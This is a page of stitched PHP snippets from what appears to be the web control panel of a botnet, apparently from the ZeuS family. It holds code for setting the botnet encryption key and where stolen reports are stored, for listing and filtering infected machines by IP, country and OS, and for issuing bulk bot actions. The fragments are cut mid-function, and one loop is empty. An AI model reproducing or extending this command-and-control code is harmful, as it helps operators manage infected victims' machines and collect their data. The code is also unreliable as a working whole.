Exemple #1
0
    $updateList['reports_to_db'] = $reports_to_db ? 1 : 0;
    $updateList['reports_to_fs'] = $reports_to_fs ? 1 : 0;
    $updateList['botnet_timeout'] = $botnet_timeout * 60;
    $updateList['botnet_cryptkey'] = $botnet_cryptkey;
    if (!updateConfig($updateList)) {
        $errors[] = LNG_SYS_E4;
    } else {
        createDir($reports_path);
        header('Location: ' . QUERY_STRING . '&u=1');
        die;
    }
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод.
///////////////////////////////////////////////////////////////////////////////////////////////////
ThemeBegin(LNG_SYS, 0, 0, 0);
//Вывод ошибок.
if (count($errors) > 0) {
    echo THEME_STRING_FORM_ERROR_1_BEGIN;
    foreach ($errors as $r) {
        echo $r . THEME_STRING_NEWLINE;
    }
    echo THEME_STRING_FORM_ERROR_1_END;
} else {
    if (isset($_GET['u'])) {
        echo THEME_STRING_FORM_SUCCESS_1_BEGIN . LNG_SYS_UPDATED . THEME_STRING_NEWLINE . THEME_STRING_FORM_SUCCESS_1_END;
    }
}
//Вывод формы.
echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('options', QUERY_STRING_HTML, ''), THEME_FORMPOST_BEGIN), str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_REPORTS), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_REPORTS_PATH, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('reports_path', htmlEntitiesEx($reports_path), 200, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', THEME_STRING_SPACE, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{TEXT}'), array(1, 'reports_to_db', 1, '', LNG_SYS_REPORTS_TODB), $reports_to_db ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', THEME_STRING_SPACE, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{TEXT}'), array(1, 'reports_to_fs', 1, '', LNG_SYS_REPORTS_TOFS), $reports_to_fs ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_BOTNET), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_BOTNET_TIMEOUT, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('botnet_timeout', htmlEntitiesEx($botnet_timeout), 4, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_BOTNET_CRYPTKEY, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('botnet_cryptkey', htmlEntitiesEx($botnet_cryptkey), 255, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN) . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_SYS_SAVE, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . THEME_DIALOG_ACTIONLIST_END . THEME_DIALOG_END . THEME_FORMPOST_END;
ThemeEnd();
Exemple #2
0
        }
        $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
        $themeNum = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
        $themeCb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1;
        $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[0]), ''), $themeCb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[0], 'botmenu')), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[1])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[5])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mt[7] == 1 ? tickCountToText(CURRENT_TIME - $mt[6]) : LNG_FORMAT_NOTIME), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($mt[8] / 1000, 3)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($mt[9]) ? '-' : htmlEntitiesEx($mt[9])), $themeText) . THEME_LIST_ROW_END;
        $i++;
    }
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Создание списока дейтвий.
///////////////////////////////////////////////////////////////////////////////////////////////////
$actions = '';
if ($pageCount > 0 && count($botMenu) > 0) {
    $data = LNG_BOTNET_BOTSACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('botsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN);
    foreach ($botMenu as $item) {
        $data .= str_replace(array('{VALUE}', '{TEXT}'), array($item[0], $item[1]), THEME_DIALOG_ITEM_LISTBOX_ITEM);
    }
    $data .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMITMINI);
    $actions = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $data, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод.
///////////////////////////////////////////////////////////////////////////////////////////////////
define('INPUT_WIDTH', '250px');
//Ширина input.text.
define('SELECT_WIDTH', '250px');
//Ширина select.
ThemeBegin(LNG_BOTNET, $jsScript, getBotJsMenu('botmenu'), 0);
echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('filter', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_BEGIN) . FORM_CURRENT_MODULE . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BACKGROUNDS) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_TITLE), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_BOTS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'bots', htmlEntitiesEx($filter['bots']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_BOTNETS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'botnets', htmlEntitiesEx($filter['botnets']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_IPS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'ips', htmlEntitiesEx($filter['ips']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_COUNTRIES, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'countries', htmlEntitiesEx($filter['countries']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_NAT, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('nat', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['nat'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_NAT_OUTSIDE), $filter['nat'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_NAT_INSIDE), $filter['nat'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_ONLINE, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('online', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['online'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_ONLINE_ONLINE), $filter['online'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_ONLINE_OFFLINE), $filter['online'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_NEW, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('new', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['new'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_NEW_TRUE), $filter['new'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_NEW_FALSE), $filter['new'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_USED, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('used', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['used'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_USED_TRUE), $filter['used'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_USED_FALSE), $filter['used'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_BOTNET_FILTER_COMMENT, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('comment', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['comment'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_COMMENT_TRUE), $filter['comment'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_COMMENT_FALSE), $filter['comment'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN) . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BOTNET_FILTER_RESET, ''), THEME_DIALOG_ITEM_ACTION_RESET) . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BOTNET_FILTER_SUBMIT, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . THEME_DIALOG_ACTIONLIST_END . THEME_DIALOG_END . addSortModeToForm() . THEME_FORMGET_END . THEME_VSPACE . str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('botslist', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_TO_NEW_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf(LNG_BOTNET_LIST, numberFormatAsInt($botsCount))), THEME_DIALOG_TITLE) . $pageList . $actions . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_FRAME) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{WIDTH}'), array(1, 'checkall', 1, ' onclick="checkAll()"', 'auto'), THEME_LIST_HEADER_CHECKBOX_1) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, '#', 'auto'), THEME_LIST_HEADER_R) . writeSortColumn(LNG_BOTNET_LIST_BOTID, 0, 0) . writeSortColumn(LNG_BOTNET_LIST_BOTNET, 1, 0) . writeSortColumn(LNG_BOTNET_LIST_VERSION, 2, 0) . writeSortColumn(LNG_BOTNET_LIST_IPV4, 3, 0) . writeSortColumn(LNG_BOTNET_LIST_CONTRY, 4, 0) . writeSortColumn(LNG_BOTNET_LIST_ONLINETIME, 5, 1) . writeSortColumn(LNG_BOTNET_LIST_LATENCY, 6, 1) . writeSortColumn(LNG_BOTNET_LIST_COMMENT, 7, 0) . THEME_LIST_ROW_END . $botsList . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END . THEME_FORMGET_END;
ThemeEnd();
die;
function botPopupMenu($botId, $menuName, $comment = null, $bot_online = null)
{
    if (!isset($GLOBALS['_next_bot_popupmenu__'])) {
        $GLOBALS['_next_bot_popupmenu__'] = 100;
    }
    $classes = array();
    $comment_html = '';
    if (!empty($comment)) {
        $comment_html = ' title="' . htmlspecialchars($comment) . '" ';
        $classes[] = 'favorite';
    }
    if (!is_null($bot_online)) {
        $classes[] = $bot_online ? 'online' : 'offline';
    }
    $replace = array('{ID}' => $GLOBALS['_next_bot_popupmenu__']++, '{MENU_NAME}' => $menuName, '{BOTID_FOR_URL}' => htmlEntitiesEx(urlencode($botId)), '{BOTID}' => '<span' . ($classes ? ' class="' . implode(' ', $classes) . '" ' : '') . $comment_html . '>' . htmlEntitiesEx($botId) . '</span>');
    return str_replace(array_keys($replace), array_values($replace), THEME_POPUPMENU_BOT);
}
Exemple #4
0
    die;
}
define('OSLIST_WIDTH', 500);
//Ширина колонки
define('STAT_WIDTH', '1%');
//Ширина колонки статистики.
//Текущий ботнет.
define('CURRENT_BOTNET', !empty($_GET['botnet']) ? $_GET['botnet'] : '');
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод общей информации.
///////////////////////////////////////////////////////////////////////////////////////////////////
//Получем список OC.
$osList = '';
$query = CURRENT_BOTNET == '' ? '' : 'WHERE `botnet`=\'' . addslashes(CURRENT_BOTNET) . '\' ';
if (($r = mysqlQueryEx('botnet_list', "SELECT `os_version`, COUNT(`os_version`) FROM `botnet_list` {$query}GROUP BY `os_version`")) && mysql_affected_rows() > 0) {
    $list = array();
    while ($mt = @mysql_fetch_row($r)) {
        @($list[osDataToString($mt[0])] += $mt[1]);
    }
    arsort($list);
    $i = 0;
    foreach ($list as $name => $count) {
        $osList .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($name)), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($count)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END;
        $i++;
    }
} else {
    $osList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, $r ? LNG_STATS_OSLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
}
ThemeBegin(LNG_STATS, 0, 0, 0);
echo str_replace('{WIDTH}', OSLIST_WIDTH . 'px', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_TOTAL_INFO . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . $osList . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END;
ThemeEnd();
function MakeDateList($name, $rlist)
{
    $rlist_count = count($rlist);
    $f = '';
    if ($rlist_count == 0) {
        $f .= str_replace(array('{VALUE}', '{TEXT}'), array(0, '--.--'), THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR);
    } else {
        for ($i = 0, $cur = 0; $i < $rlist_count; $i++) {
            if ($cur == 0 && ($GLOBALS['filter'][$name] === intval(substr($rlist[$i], -6)) || $i + 1 == $rlist_count)) {
                $item = THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR;
                $cur++;
            } else {
                $item = THEME_DIALOG_ITEM_LISTBOX_ITEM;
            }
            $f .= str_replace(array('{VALUE}', '{TEXT}'), array(htmlEntitiesEx(substr($rlist[$i], -6)), htmlEntitiesEx(substr($rlist[$i], -2, 2) . '.' . substr($rlist[$i], -4, 2))), $item);
        }
    }
    return $f;
}
Exemple #6
0
function botPopupMenu($botId, $menuName)
{
    if (!isset($GLOBALS['_next_bot_popupmenu__'])) {
        $GLOBALS['_next_bot_popupmenu__'] = 100;
    }
    return str_replace(array('{ID}', '{MENU_NAME}', '{BOTID_FOR_URL}', '{BOTID}'), array($GLOBALS['_next_bot_popupmenu__']++, $menuName, htmlEntitiesEx(urlencode($botId)), htmlEntitiesEx($botId)), THEME_POPUPMENU_BOT);
}
Exemple #7
0
<?php

if (!defined('__CP__')) {
    die;
}
$os = php_uname('s') . ' ' . php_uname('r') . ' ' . php_uname('v') . ', ' . php_uname('m');
$php = phpversion() . ', ' . php_sapi_name();
$dir = dirname($_SERVER['SCRIPT_FILENAME']);
ThemeBegin(LNG_SYS, 0, 0, 0);
echo str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_VERSIONS), THEME_LIST_TITLE) . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'Operation system:'), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($os)), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'Control panel:'), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(BO_CLIENT_VERSION)), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'PHP:'), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($php)), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'Zend engine:'), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(zend_version())), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'MySQL server:'), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(mysql_get_server_info())), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'MySQL client:'), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(mysql_get_client_info())), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_PATHS), THEME_LIST_TITLE) . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'Local path:'), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($dir)), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'Reports path:'), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($dir . '/' . $config['reports_path'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_CLIENT), THEME_LIST_TITLE) . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'User agent:'), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($_SERVER['HTTP_USER_AGENT'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'IP:'), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($_SERVER['REMOTE_ADDR'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_END;
//host
ThemeEnd();
Exemple #8
0
function ThemeBegin($subtitle, $js_script, $popup_menu, $body_events)
{
    //Добавление JavaScript.
    $javascript = '';
    $body_js_events = $body_events === 0 ? '' : $body_events;
    if (!empty($js_script)) {
        $javascript .= str_replace('{SCRIPT}', $js_script, THEME_JAVASCRIPT_BODY);
    }
    if (!empty($popup_menu)) {
        $javascript .= str_replace('{SCRIPT}', $popup_menu, THEME_JAVASCRIPT_BODY) . str_replace('{PATH}', THEME_PATH . '/popupmenu.js', THEME_JAVASCRIPT_EXTERNAL);
        $body_js_events .= ' onclick="jsmHideLastMenu()"';
    }
    //Добавление главного меню.
    $mainmenu = '';
    foreach ($GLOBALS['mainMenu'] as &$item) {
    }
    $mainmenu .= THEME_MAINMENU_SEPARATOR . str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_BLANK_HTML . 'logout', LNG_MM_LOGOUT), THEME_MAINMENU_ITEM);
    header('Content-Type: ' . THEME_CONTENT_TYPE . '; charset=utf-8');
    httpNoCacheHeaders();
    echo str_replace(array('{TITLE}', '{SUBTITLE}', '{THEME_HTTP_PATH}', '{JAVASCRIPT}', '{BODY_JS_EVENTS}', '{MAINMENU}', '{INFO_TITLE}', '{INFO_USERNAME_TITLE}', '{INFO_USERNAME}', '{INFO_DATE_TITLE}', '{INFO_DATE}', '{INFO_TIME_TITLE}', '{INFO_TIME}'), array(LNG_TITLE, $subtitle, THEME_PATH, $javascript, $body_js_events, $mainmenu, LNG_INFO, LNG_INFO_USERNAME, htmlEntitiesEx($GLOBALS['userData']['name']), LNG_INFO_DATE, htmlEntitiesEx(gmdate(LNG_FORMAT_DATE, CURRENT_TIME)), LNG_INFO_TIME, htmlEntitiesEx(gmdate(LNG_FORMAT_TIME, CURRENT_TIME))), file_get_contents(THEME_PATH . '/header.html'));
}
///////////////////////////////////////////////////////////////////////////////////////////////////
ThemeBegin(LNG_SYS, 0, 0, 0);
//Вывод ошибок.
if (count($errors) > 0) {
    echo THEME_STRING_FORM_ERROR_1_BEGIN;
    foreach ($errors as $r) {
        echo $r . THEME_STRING_NEWLINE;
    }
    echo THEME_STRING_FORM_ERROR_1_END;
} else {
    if (isset($_GET['u'])) {
        echo THEME_STRING_FORM_SUCCESS_1_BEGIN . LNG_SYS_UPDATED . THEME_STRING_NEWLINE . THEME_STRING_FORM_SUCCESS_1_END;
    }
}
//Вывод формы.
